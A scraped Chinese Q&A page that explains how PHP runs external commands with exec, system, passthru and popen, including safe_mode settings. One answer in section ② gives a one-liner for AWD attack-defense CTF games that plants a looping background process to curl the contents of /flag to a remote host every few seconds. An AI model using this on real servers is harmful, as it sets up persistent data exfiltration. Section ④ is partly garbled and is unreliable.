导航:首页 > 编程语言 > php执行外部程序

php执行外部程序

发布时间:2022-12-30 16:40:27

php调用exe程序

php可以调用外部exe程序,如果是在服务器端执行服务器端的程序,使用exec函数。

提示一点:php是服务器端脚本,因此,不能在客户端执行服务器端的程序。

② php执行外部命令,如何不等待返回结果

pclose(popen('command &', 'r'));
感谢楼上的朋友。亲测有效,在linux中需要让程序在后台运行才可以,因此必须加&,例如:
pclose(popen("{ while true;do echo 123;sleep 5;done;}&", r));
这条命令注意 { 后面有一个空格。玩awd攻防赛的朋友可以靠这种方式种一个不死的子进程,不断发送flag给服务器:
pclose(popen("{ while true;do curl http://192.168.62.1/?flag=`cat /flag`;sleep 5;done;}&", 'r'));

③ php调用shell的方法技巧

php调用shell的方法技巧

一、配置

查看php.ini中配置是否打开安全模式,主要是以下三个地方

safe_mode = (这个如果为off下面两个就不用管了)

disable_functions =

safe_mode_exec_dir=

二、使用

由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

① 执行外部命令

② 在打开文件时有些限制

③ 连接MySQL数据库

④ 基于HTTP的认证

在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php /bin。

如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的'却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

三、如何做?

在PHP中调用外部命令,可以用如下三种方法来实现:

1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。

system()

原型:string system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

例子:

复制代码 代码如下:system("/usr/local/bin/webalizer/webalizer");

exec()

原型:string exec (string command [, string array [, int return_var]])

exec() 函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。

例子:

复制代码 代码如下:exec("/bin/ls -l");

exec("/bin/ls -l", $res);

#$res是一个数据,每个元素代表结果的一行

exec("/bin/ls -l", $res, $rc);

#$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0

passthru()

原型:void passthru (string command [, int return_var])

passthru() 只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix 下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

例子:

复制代码 代码如下:header("Content-type: image/gif");

passthru("./ppmtogif hunte.ppm");

希望本文所述对大家的PHP程序设计有所帮助。

;

④ PHP执行linux系统命令

首先先要给大家介绍PHP执行linux系统命令的几个基本函数 我曾经很长一段时间都分不清下面几个函数的具体用法区别 system函数 说明 执行外部程序并显示输出资料 语法 string system(string mand int [return_var]); 返回值: 字符串 详细介绍 本函数就像是 C 语中的函数 system() 用来执行指令 并输出结果 若是 return_var 参数存在 则执行 mand 之后的状态会填入 return_var 中 同样值得注意的是若需要处理用户输入的资料 而又要防止用户耍花招破解系统 则可以使用 EscapeShellCmd() 若 PHP 以模块式的执行 本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区 若需要完整的返回字符串 且不想经过不必要的其它中间的输出界面 可以使用 PassThru() 实例代码

< ?php $last_line = system( ls $retval); echo Last line of the output: $last_line; echo <hr />Return value: $retval; ?>

exec函数 说明 执行外部程序 语法 string exec(string mand string [array] int [return_var]); 返回值: 字符串 详细介绍 本函数执行输入 mand 的外部程序或外部指令 它的返回字符串只是外部程序执行后返回的最后一行 若需要完整的返回字符串 可以使用 PassThru() 这个函数 要是参数 array 存在 mand 会将 array 加到参数中执行 若不欲 array 被处理 可以在执行 exec() 之前呼叫 unset() 若是 return_var 跟 array 二个参数都存在 则执行 mand 之后的状态会填入 return_var 中 值得注意的是若需要处理使用者输入的资料 而又要防止使用者耍花招破解系统 则可以使用 EscapeShellCmd() 实例代码

<?php echo exec( whoami ); ?> <? $fp = popen( "/bin/ls" "r" ); ?> lishixin/Article/program/PHP/201311/21017

⑤ 如何通过PHP执行linux命令

首先先要给大家介绍PHP执行linux系统命令的几个基本函数。
system函数
说明:执行外部程序并显示输出资料。
语法:string system(string command, int [return_var]);
返回值: 字符串
详细介绍:
本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果。若是 return_var 参数存在,则执行 command 之后的状态会填入 return_var 中。同样值得注意的是若需要处理用户输入的资料,而又要防止用户耍花招破解系统,则可以使用 EscapeShellCmd()。若 PHP 以模块式的执行,本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区。若需要完整的返回字符串,且不想经过不必要的其它中间的输出界面,可以使用 PassThru()。
实例代码:
< ?php

$last_line = system('ls', $retval);
echo 'Last line of the output: ' . $last_line;
echo '<hr/>Return value: ' . $retval;
?>
exec函数
说明:执行外部程序。
语法:string exec(string command, string [array], int [return_var]);
返回值: 字符串
详细介绍:
本函数执行输入 command 的外部程序或外部指令。它的返回字符串只是外部程序执行后返回的最后一行;若需要完整的返回字符串,可以使用 PassThru() 这个函数。
要是参数 array 存在,command 会将 array 加到参数中执行,若不欲 array 被处理,可以在执行 exec() 之前呼叫 unset()。若是 return_var 跟 array 二个参数都存在,则执行 command 之后的状态会填入 return_var 中。
值得注意的是若需要处理使用者输入的资料,而又要防止使用者耍花招破解系统,则可以使用 EscapeShellCmd()。
实例代码:
< ?php
echo exec('whoami');
?>
popen函数
说明:打开文件。
语法:int popen(string command, string mode);
返回值: 整数
详细介绍:
本函数执行指令开档,而该文件是用管道方式处理的文件。用本函数打开的文件只能是单向的 (只能读或只能写),而且一定要用 pclose() 关闭。在文件操作上可使用 fgets()、fgetss() 与 fputs()。若是开档发生错误,返回 false 值。
实例代码:
< ?
$fp = popen( "/bin/ls", "r" );
?>
通过上述函数,PHP可以执行linux系统的shell命令。

⑥ php exec()

php的exec函数用法如下:

exec — 执行一个外部程序

stringexec(string$command[,array&$output[,int&$return_var]])

exec() 执行command 参数所指定的命令。

command:要执行的命令。

output:如果提供了 output 参数,那么会用命令执行的输出填充此数组,每行输出填充数组中的一个元素。数组中的数据不包含行尾的空白字符,例如 字符

请注意,如果数组中已经包含了部分元素,exec()函数会在数组末尾追加内容。

如果不想在数组末尾进行追加,请在传入 exec() 函数之前对数组使用 unset() 函数进行重置。

return_var:如果同时提供output和return_var 参数,命令执行后的返回状态会被写入到此变量。

返回值:

命令执行结果的最后一行内容。

如果需要获取未经处理的全部输出数据,请使用 passthru() 函数。

如果想要获取命令的输出内容,请确保使用 output 参数。

阅读全文

与php执行外部程序相关的资料

热点内容
dvd光盘存储汉子算法 浏览:757
苹果邮件无法连接服务器地址 浏览:962
phpffmpeg转码 浏览:671
长沙好玩的解压项目 浏览:144
专属学情分析报告是什么app 浏览:564
php工程部署 浏览:833
android全屏透明 浏览:736
阿里云服务器已开通怎么办 浏览:803
光遇为什么登录时服务器已满 浏览:302
PDF分析 浏览:484
h3c光纤全工半全工设置命令 浏览:143
公司法pdf下载 浏览:381
linuxmarkdown 浏览:350
华为手机怎么多选文件夹 浏览:683
如何取消命令方块指令 浏览:349
风翼app为什么进不去了 浏览:778
im4java压缩图片 浏览:362
数据查询网站源码 浏览:150
伊克塞尔文档怎么进行加密 浏览:892
app转账是什么 浏览:163